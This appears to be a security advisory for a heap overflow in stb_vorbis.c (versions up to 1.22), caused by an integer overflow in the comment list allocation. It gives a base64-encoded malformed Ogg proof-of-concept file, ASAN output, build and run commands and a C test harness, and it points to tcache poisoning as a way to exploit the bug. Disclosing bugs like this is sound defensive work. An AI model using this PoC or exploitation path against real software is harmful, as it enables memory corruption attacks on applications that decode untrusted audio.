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```

1 T2dnUwACAAAAAAAAQB4VVoSAAwAAAAAAAAABHgF2b3JiaXMAAAAAAUSsAAD/////APQBAP////+4
2 AU9nZ1MAABAAAAAAAAAAEfa+EgEAAAAKAAAAF8Ddm9yYmlzBwAAAGVuT2d//wACAAAg5QAAAAAA
3 AAABHgF2f3JiaXMAAAAAAASsAAD//wAAAKSsAABPZ2dTAAIAEAAAAAAAAAGAAAAEhBXb/4eEAAAEe
4 AR4Bbm9yYmlzAAAAEABErAAA/////wD0AQD/////uAFPZ3NTAAQAAAAAAAAAHhWvhIBAAAAACgA
5 AAH/A5RvcmJpcwcAAAB1bk9nf/8AAgAAA0UAAAAAAAAAAAR4Bdm9yYmlzAAAAAAJErAAA//8AAAJE
6 rAAAT2dnUwACAAAAACEBdm9yYmlzAAAAAAFErAAA/////wRkAQD/////hgFPZ2dTAAAAAAAAAABP
7 Z2dTACUAAAAAIQAAAA==

```

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# stb\_vorbis.c Heap Buffer Overflow / OOB Write (CWE-787 / CWE-190)

**Product:** stb\_vorbis.c (nothings/stb) **Version:** <= 1.22

## Description

A heap buffer overflow (out-of-bounds write) in `start_decoder()`, caused by an integer overflow in comment list allocation.

`comment_list_length` is read from untrusted Vorbis header data. The allocation size `sizeof(char*) * comment_list_length` overflows the `int sz` parameter of `setup_malloc()` (e.g., `8 * 0x20000002 = 0x100000010` truncates to 16 bytes). The loop then writes ~536 million pointer-sized entries into a 16-byte buffer, causing massive sequential heap corruption.

Each OOB write stores a heap pointer to attacker-controlled comment string data, creating a heap corruption primitive exploitable via tcache poisoning or chunk overlap.

## ASAN Output

```
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000040
WRITE of size 8 at 0x602000000040
    #0 start_decoder          stb_vorbis.c:3670
    #1 stb_vorbis_open_memory stb_vorbis.c:5112
    #2 stb_vorbis_decode_memory stb_vorbis.c:5390
0x602000000040 is located 0 bytes to the right of 16-byte region
allocated by: setup_malloc -> stb_vorbis.c:960
```

## Reproduction

```
base64 -d poc.ogg.b64 > poc.ogg
clang -fsanitize=address -g -O0 repro.c -o repro -lm
./repro poc.ogg
```

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```
1  #include <stdlib.h>
2  #include <stdio.h>
3  #include "stb_vorbis.c"
4  int main(int argc, char **argv) {
5      if (argc < 2) return 1;
6      FILE *f = fopen(argv[1], "rb"); if (!f) return 1;
7      fseek(f, 0, SEEK_END); int len = ftell(f); fseek(f, 0, SEEK_SET);
8      unsigned char *buf = malloc(len); fread(buf, 1, len, f); fclose(f);
9      int ch, sr; short *out = NULL;
10     stb_vorbis_decode_memory(buf, len, &ch, &sr, &out);
11     if (out) free(out); free(buf);
12     return 0;
13 }
14 // Build: clang -fsanitize=address -g -O0 repro.c -o repro -lm
15 // Run:    ./repro poc.ogg
```